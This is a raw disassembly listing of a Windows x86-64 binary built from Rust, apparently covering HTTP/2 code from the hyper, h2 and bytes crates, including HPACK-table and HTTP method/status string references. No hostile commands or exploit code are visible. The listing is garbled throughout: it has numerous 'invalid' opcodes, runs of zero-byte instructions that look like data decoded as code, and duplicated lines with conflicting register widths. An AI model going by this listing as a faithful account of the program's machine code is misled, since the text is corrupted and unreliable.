lea rax, [rsp + 0x210]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x160]
call fcn.140108280
lea rcx, str.Out_of_bounds_access_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.1401086b0
lea rcx, str.Out_of_bounds_access_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.1401086b0
lea rcx, str.Out_of_bounds_access_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov edx, 0x14
call fcn.1401086b0
lea rcx, [0x140115fe0]
lea r8, [0x140116090]
mov edx, 0x43
call fcn.1401088c0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x160], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
lea rax, [0x140141790]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 2
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rax + riz*2], ah
and al, 0x60
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x160]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
and al, 0x60
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rax*8], ah
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x116275
lea rcx, [rsp + 0x2a8]
call fcn.140108280
add byte [rax - 0x73], cl
or eax, 0xeab59
lea rcx, str.assertion_failed:__header.is_sensitive___
lea r8, [0x1401160e8]
mov edx, 0x28
add byte [rax], al
add al, ch
invalid
int 0xd
invalid
add byte [rax], al
add al, ch
invalid
lea rcx, str.Out_of_bounds_access_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
add eax, 0xfc7b2
add eax, 0xfc7b2
mov edx, 0x14
call fcn.1401086b0
lea rcx, str.assertion_failed:__header.is_sensitive___
or eax, 0xeab29
lea r8, [0x1401160d0]
mov edx, 0x28
call fcn.140108350
lea rcx, str.Out_of_bounds_access_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_srccollections_vec_dequemod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
invalid
add byte [rdx + 0x14], bh
call fcn.1401086b0
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rcx, r14
str word [rcx + rcx*4 - 0xf]
mov rdx, rbx
call fcn.1401082c0
mov ecx, 8
mov edx, 0xc0
add byte [rdx + 0xc0], bh
call fcn.140107fc0
mov ecx, 8
mov rdx, r15
call fcn.140107fc0
leave
invalid
invalid
leave
or eax, 0x5525e800
invalid
call fcn.140010b00
mov qword [rsp + 0xc0], rbx
lea rax, [rsp + 0x480]
mov qword [rsp + 0x160], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x168], rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 2
mov qword [rsp + 0x2c8], 0
lea rax, [rsp + 0x160]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x2a8]
call fcn.140108280
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
int3
mov rcx, rdi
mov ecx, edi
call fcn.14001d970
add rdi, 0x60
dec r14
jne 0x14002b930
mov qword [rsi + 0x28], 0
mov qword [rsi + 0x40], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int3
int3
invalid
and al, 0xf8
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xf0
add byte [rax], al
add byte [rcx + 0xf], al
mov dh, 0x40
test al, al
je 0x14002b9ea
or al, 0xf8
cmp al, 0xfa
jae 0x14002b9ea
cmp bpl, 2
jne 0x14002bbb7
add al, byte [rdx]
add byte [rax], al
add al, byte [rdx]
add byte [rax], al
mov rax, qword [r15 + 0x40]
mov qword [rsi + 0x48], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm1, xmmword [rdi + 0x10]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movups xmmword [rsi + 0x38], xmm3
cmp byte [rdi], cl
adc dword [rsi + 0x28], edx
cmp byte [rdi], cl
adc dword [rsi + 0x28], edx
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov eax, 4
add cl, ch
sbb al, byte [rdx]
add byte [rax], al
add cl, ch
sbb al, byte [rdx]
add byte [rax], al
mov rbx, qword [rsp + 0xe8]
mov r13, qword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
and al, 0xe0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
call fcn.14001d870
add qword [r14 + 0x48], rax
invalid
mov rcx, r14
xor edx, edx
call fcn.14002bc40
test r13, r13
je 0x14002ba72
test al, al
je 0x14002ba72
mov rax, qword [r14 + 0x38]
mov r8, qword [r14 + 8]
cmp byte [rbp - 0x75], r9b
or byte [rcx - 0x75], r9b
mov rdx, qword [r14 + 0x10]
jmp case.0x14001a8c7.389
nop word [rax + rax]
add byte [rax], al
mov rdx, qword [r14 + 0x10]
jmp case.0x14001a8c7.389
dec r13
mov rbx, rcx
test r13, r13
test ebp, ebp
je 0x14002ba72
lea rcx, [rbx - 1]
and rcx, rax
cmp rcx, rdx
jae 0x14002bc18
lea r9, [rcx + rcx*2]
cmp qword [r8 + r9*8], 0
je 0x14002ba30
lea r9, [r8 + r9*8]
mov r9, qword [r9 + 0x10]
and r9, rax
and ecx, eax
mov r10, rcx
sub r10, r9
and r10, rax
dec r13
cmp r10, r13
jb 0x14002ba33
mov rax, qword [r15 + 0x40]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movups xmmword [rsp + 0x60], xmm3
movups xmmword [rsp + 0x50], xmm2
and al, 0x50
movups xmmword [rsp + 0x40], xmm1
inc qword [r14 + 0x40]
movups xmmword [rsp + 0x30], xmm0
mov rax, qword [r14 + 0x18]
mov eax, dword [rsi + 0x18]
mov rcx, qword [r14 + 0x30]
cmp rcx, rax
jne 0x14002bac4
lea rcx, [r14 + 0x18]
call fcn.14002bf60
movsb byte [rdi], byte [rsi]
add al, 0
add byte [rcx - 0x75], cl
sbb byte [rcx - 0x75], r9b
invalid
invalid
mov rdx, qword [r14 + 0x28]
dec rdx
dec edx
add rax, rdx
cmovae rax, rdx
mov rdx, qword [r14 + 0x20]
mov qword [r14 + 0x28], rax
inc rcx
mov qword [r14 + 0x30], rcx
lea rax, [rax + rax*2]
shl rax, 5
mov qword [rdx + rax], 0
add byte [rax], al
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmm2, xmmword [rsp + 0x48]
movups xmm3, xmmword [rsp + 0x58]
movups xmmword [rdx + rax + 8], xmm0
movups xmmword [rdx + rax + 0x18], xmm1
movups xmmword [rdx + rax + 0x28], xmm2
movups xmmword [rdx + rax + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rdx + rax + 0x48], xmm0
mov qword [rdx + rax + 0x58], rdi
mov rdx, qword [r14 + 0x10]
cmp rbx, rdx
jae 0x14002bc24
xor ecx, ecx
sub rcx, qword [r14 + 0x40]
mov rax, qword [r14 + 8]
lea r8, [rbx + rbx*2]
mov r9, qword [rax + r8*8]
movups xmm0, xmmword [rax + r8*8 + 8]
mov qword [rax + r8*8], 1
mov qword [rax + r8*8 + 8], rcx
mov qword [rax + r8*8 + 0x10], rdi
cmp r9, 1
jne 0x14002bba7
inc rbx
nop dword [rax + rax]
mov rcx, rbx
mov ebx, 0
cmp rcx, rdx
jae 0x14002bb70
lea r8, [rcx + rcx*2]
cmp qword [rax + r8*8], 0
mov qword [rax + r8*8], 1
movups xmm1, xmmword [rax + r8*8 + 8]
movups xmmword [rax + r8*8 + 8], xmm0
je 0x14002bba7
inc rcx
movaps xmm0, xmm1
mov rbx, rcx
jmp 0x14002bb70
cmp bpl, 2
jne 0x14002bbf3
mov eax, 2
xor r12d, r12d
jmp 0x14002bc00
not bpl
mov qword [rsi + 8], r12
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
movups xmmword [rsi + 0x30], xmm2
movups xmmword [rsi + 0x40], xmm3
mov rax, qword [r15 + 0x40]
mov qword [rsi + 0x50], rax
and bpl, 1
movzx eax, bpl
jmp 0x14002bc04
mov qword [rsi + 0x10], 0
mov eax, 3
mov qword [rsi + 8], r12
mov qword [rsi], rax
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rcx, rbx
call fcn.1401082d0
int3
cmp qword [rsp + 0xb8], 0
je 0x14002be60
mov rdx, qword [rsp + 0xc0]
mov qword [rax], 1
mov qword [rax + 8], rdx
lea rcx, [rsp + 0xc8]
call fcn.14001d970
mov rax, qword [rsp + 0x20]
cmp rax, qword [rsp + 0x30]
jbe 0x14002bf0d
mov rbp, rbx
sub rbx, 1
jb 0x14002bf49
mov qword [r12 + 0x30], rbx
mov rax, qword [rsp + 0x50]
add rax, rbx
mov rcx, qword [rsp + 0x58]
cmp rax, rcx
mov edx, 0
cmovb rcx, rdx
sub rax, rcx
lea rcx, [rax + rax*2]
shl rcx, 5
mov rax, qword [rdi + rcx]
mov rdx, qword [rdi + rcx + 0x58]
mov qword [rsp + 0xb0], rdx
movups xmm0, xmmword [rdi + rcx + 0x48]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rdi + rcx + 0x38]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rdi + rcx + 0x28]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rdi + rcx + 0x18]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rdi + rcx + 8]
movaps xmmword [rsp + 0x60], xmm0
cmp rax, 2
je 0x14002bf49
add rbp, qword [rsp + 0x38]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
lea rcx, [rsp + 0xc0]
mov qword [rcx + 0x50], rax
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rcx + 0x40], xmm0
adc dword [rcx + 0x40], eax
adc dword [rcx + 0x40], eax
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movaps xmm3, xmmword [rsp + 0x90]
sub byte [rsp + 0x90], bl
sub byte [rsp + 0x90], bl
add byte [rax], al
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov rsi, qword [rsp + 0x110]
add byte [rax], al
add byte [rax], al
and rsi, r15
lea rcx, [rsp + 0xc8]
add al, ch
sbb bh, bh
invalid
dec dword [rcx + rcx*4 - 0x1f]
dec byte [rax - 0x73]
mov word [rax + rcx*8], fs
add byte [rax], al
add al, ch
sbb bh, bh
invalid
dec dword [rcx + rcx*4 - 0x1f]
invalid
mov rdx, qword [rsp + 0x20]
sub rdx, rax
mov qword [rsp + 0x20], rdx
and byte [rcx - 0x77], cl
push rsp
and al, 0x48
and byte [rcx - 0x77], cl
push rsp
and al, 0x48
nop
nop
mov rcx, rsi
mov esi, 0
cmp rcx, r14
cmp ecx, esi
cmp ecx, esi
jae 0x14002be20
lea rax, [rcx + rcx*2]
cmp qword [r13 + rax*8], 0
invalid
add byte [rax], al
je 0x14002bf3d
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
add al, 0xc5
add byte [rax], al
add byte [rax], al
lea rax, [rax*8]
add rax, r13
cmp qword [rax + 8], rbp
or byte [rdi], cl
test byte [rsi - 2], bh
invalid
invalid
or byte [rdi], cl
test byte [rsi - 2], bh
invalid
inc rcx
mov rsi, rcx
mov esi, ecx
mov esi, ecx
jmp 0x14002be20
invalid
cmp qword [rsp + 0x48], 0
je case.0x14002b1c9.158
invalid
adc byte [rax - 0x75], cl
push rsp
and al, 0x38
mov rdx, qword [rsp + 0x38]
cmp rbp, qword [rsp + 0x40]
je 0x14002bce7
mov qword [rax], 0
lea rdx, [rcx + 1]
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
push rcx
add dword [rsi + 0x66], esp
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rax, rdx
mov edx, 0
cmp rax, r14
invalid
jae 0x14002be90
invalid
lea rdx, [rax + rax*2]
cmp qword [r13 + rdx*8], 0
je 0x14002bcf2
lea rdx, [rdx*8]
adc al, 0xd5
add byte [rax], al
add byte [rax], al
add rdx, r13
mov r8, qword [rdx + 0x10]
and r8, r15
mov r9, rax
sub r9, r8
test r9, r15
je 0x14002bcf2
mov r8, qword [rdx + 0x10]
mov qword [rsp + 0x70], r8
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rdx], 0
cmp rcx, r14
jae 0x14002bf2e
lea rcx, [rcx + rcx*2]
mov rdx, qword [rsp + 0x70]
mov qword [r13 + rcx*8 + 0x10], rdx
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [r13 + rcx*8], xmm0
lea rdx, [rax + 1]
mov rcx, rax
jmp 0x14002be90
or dword [rax - 0x75], 0x44
and al, 0x30
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
and al, 0x28
seta al
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
mov rdx, r14
call fcn.1401082d0
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
lea ecx, [0x140127de0]
call fcn.140108690
or eax, 0xd8d4800
js 0x14002bf0c
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpack_table.rs
or eax, 0xfbe78
verw ax
cmp eax, edi
or eax, 0xcccccc00
int3
call fcn.140108690
int3
invalid
or al, byte [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdx, rbx
sub rdx, rax
invalid
invalid
mov ecx, dword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov rdx, rbx
sub rdx, rax
cmp rcx, rdx
jbe 0x14002bff2
insd dword [rdi], dx
insd dword [rdi], dx
mov rdi, qword [rsi]
mov r8, rbx
sub r8, rcx
sub rax, r8
cmp r8, rax
cmp eax, eax
cmp eax, eax
jbe 0x14002bfc4
mov rdx, rdi
mov rdx, rdi
sub rdx, rbx
cmp rdx, rax
fimul dword [rax + 0x39]
ret 0x2372
jb 0x14002bfc4
jb 0x14002bfc4
mov rdx, qword [rsi + 8]
lea rcx, [rbx + rbx*2]
lea ecx, [rbx + rbx*2]
lea ecx, [rbx + rbx*2]
shl rcx, 5
add rcx, rdx
ror dword [rax - 0x3f], 1
loopne 0x14002bfb9
invalid
ror dword [rax - 0x3f], 1
loopne 0x14002bfb9
invalid
add eax, 0x40048d4c
lea r8, [rax + rax*2]
lea eax, [rax + rax*2]
add rsp, 0x20
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140106250
invalid
invalid
or eax, 0xc7294c00
add byte [rcx + rbp - 0x39], cl
sub rdi, r8
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
lea rdx, [rcx + rcx*2]
adc al, 0x49
shl rdx, 5
add rdx, rax
lea rcx, [rdi + rdi*2]
lea ecx, [rdi + rdi*2]
lea ecx, [rdi + rdi*2]
or al, 0x7f
jg 0x14002c023
shl rcx, 5
shl ecx, 5
add rcx, rax
shl r8, 5
lea r8, [r8 + r8*2]
call fcn.140106250
mov qword [rsi + 0x10], rdi
invalid
or eax, 0x7e894800
adc byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
int3
int3
sub byte [rdi], cl
mov dh, 0x41
lea edx, [rax - 2]
lea edx, [rax - 2]
lea edx, [rax - 2]
dec al
xor r8d, r8d
xor eax, eax
xor eax, eax
cmp dl, 6
movzx eax, al
cmovae eax, r8d
ror byte [rdi], 0xb6
ror byte [rax - 0x73], 0x15
pop rsp
invalid
adc al, 0
ror byte [rdi], 0xb6
ror byte [rax - 0x73], 0x15
pop rsp
movabs dword [0x148820463480014], eax
invalid
invalid
invalid
adc eax, 0x14a35c
add byte [rax + 0x63], cl
add al, 0x82
invalid
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
sar bh, 1
loopne 0x14002c076
invalid
jmp rax
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [rax - 0x75], cl
push rcx
adc byte [rax - 0x7d], cl
invalid
mov rdx, qword [rcx + 0x10]
add rsp, 0x28
ret
mov rax, qword [rcx + 0x28]
mov eax, dword [rcx + 0x28]
sub byte [r8 - 0x75], cl
push rcx
mov rdx, qword [rcx + 0x30]
add rsp, 0x28
ret
xor byte [rax - 0x7d], cl
invalid
movzx eax, byte [rcx]
mov edx, 7
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
add byte [rax], al
lea r8, [0x14017639c]
movsxd rax, dword [r8 + rax*4]
add rax, r8
movabs dword [0x14c800463490014], eax
movabs dword [0x14c800463490014], eax
sar bh, 0xe0
jmp rax
loopne 0x14002c0a8
lea rax, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
lea eax, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCH
add rsp, 0x28
add esp, 0x28
ret
mov eax, dword [rcx]
add eax, 0xffffff9c
invalid
pushfq
rcr byte [rdi + rcx - 0x72b73f49], 0xc
pushfq
movzx eax, ax
lea rcx, [rax + rax*2]
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:status
lea rax, str.100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999:authority:method:scheme:path:protocol:status
add rax, rcx
mov edx, 3
add byte [rax], al
invalid
enter 0x3ba, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
ret
lea rax, [0x14012ae16]
mov edx, 3
add byte [rdx + 3], bh
add rsp, 0x28
ret
lea rax, [0x14012ae2f]
mov edx, 5
add byte [rdx + 5], bh
add rsp, 0x28
ret
lea rax, [0x14012ae0f]
mov edx, 3
add byte [rax], al
add byte [rax], al
add rsp, 0x28
ret
lea rax, [0x14012ae12]
mov edx, 4
add rsp, 0x28
ret
lea rax, [0x14012ae23]
mov edx, 5
add rsp, 0x28
ret
lea rax, [0x14012ae19]
mov edx, 6
add rsp, 0x28
ret
lea rax, [0x14012ae1f]
mov edx, 4
add rsp, 0x28
ret
movzx edx, byte [rcx + 0x10]
cmp rdx, 0x10
jae 0x14002c123
inc rcx
mov rax, rcx
add rsp, 0x28
ret
lea rax, [0x14012ae28]
add rsp, 0x28
ret
lea r8, [0x140129338]
mov rcx, rdx
mov edx, 0xf
call fcn.140108340
int3
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm1
lea rcx, [rsp + 0x128]
add dword [rax], eax
add byte [rcx], dh
test byte [rbp + 0x31], 0xc0
add dword [rax], eax
add byte [rcx], dh
test byte [rbp + 0x31], 0xc0
call qword [rax + 0x10]
mov byte [rsp + 0x2d], 3
test dil, dil
je 0x14002cf3b
mov r8, qword [rsp + 0x140]
xor esi, esi
lea rcx, [rsp + 0x148]
mov rax, qword [rsp + 0x130]
xor byte [rcx], al
add byte [rax], al
xor byte [rcx], al
add byte [rax], al
mov rdx, qword [rsp + 0x138]
call qword [rax + 0x10]
mov byte [rsp + 0x2d], 3
mov r10, r15
test r10, r10
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0xf0], r10
je 0x14002d0df
mov qword [rsp + 0x158], r13
mov byte [rsp + 0x2e], r12b
mov byte [rsp + 0x2e], ah
mov byte [rsp + 0x2e], ah
mov qword [rsp + 0x160], rbp
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x178], xmm0
movups xmmword [rsp + 0x188], xmm1
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x170], r10
mov rbp, qword [rsp + 0x178]
mov r13, qword [rsp + 0x180]
cmp r13, 1
mov r12, r13
adc r12, 0
test r13, r13
lea rdi, [0x140172678]
cmovne rdi, rbp
test r12, r12
js 0x14002d506
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400dfbe0
test rax, rax
je 0x14002d50b
mov rsi, rax
mov rcx, rax
mov rdx, rdi
mov r8, r12
call fcn.140106250
mov r15, rsi
or r15, 1
test sil, 1
cmovne r15, rsi
lea rax, [0x140129108]
lea rdi, [0x140129120]
cmove rdi, rax
lea rcx, [rsp + 0x188]
mov rdx, rbp
mov r8, r13
mov rax, qword [rsp + 0xf0]
call qword [rax + 0x10]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r15
mov rbp, qword [rsp + 0x160]
movzx r12d, byte [rsp + 0x2e]
mov r13, qword [rsp + 0x158]
jmp 0x14002d101
lea rdi, [0x1401157d0]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov esi, 1
mov eax, dword [rsp + 0x74]
shl eax, 0x10
or r13d, eax
shl r13, 0x20
movzx eax, r12b
test eax, eax
je 0x14002d12b
cmp eax, 7
je 0x14002d12b
cmp qword [rsp + 0xf0], 0
je 0x14002d4a3
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0xd0], xmm0
mov rsi, qword [rsp + 0xf8]
or r14, r13
mov qword [rsp + 0x30], rdi
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rsp + 0x38], xmm0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x40], 0
je 0x14002d199
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x220], rax
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x210], xmm0
jmp 0x14002d1ab
lea rcx, [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
xor r8d, r8d
call qword [rdi + 0x10]
xor edi, edi
mov byte [rsp + 0x170], r12b
mov dword [rsp + 0x171], r14d
mov rax, r14
shr rax, 0x30
mov byte [rsp + 0x177], al
shr r14, 0x20
mov word [rsp + 0x175], r14w
movups xmmword [rsp + 0x178], xmm6
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x1a8], 0
mov qword [rsp + 0x1c8], rdi
movaps xmm0, xmmword [rsp + 0x210]
movups xmmword [rsp + 0x1d0], xmm0
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x168]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1e8], xmm0
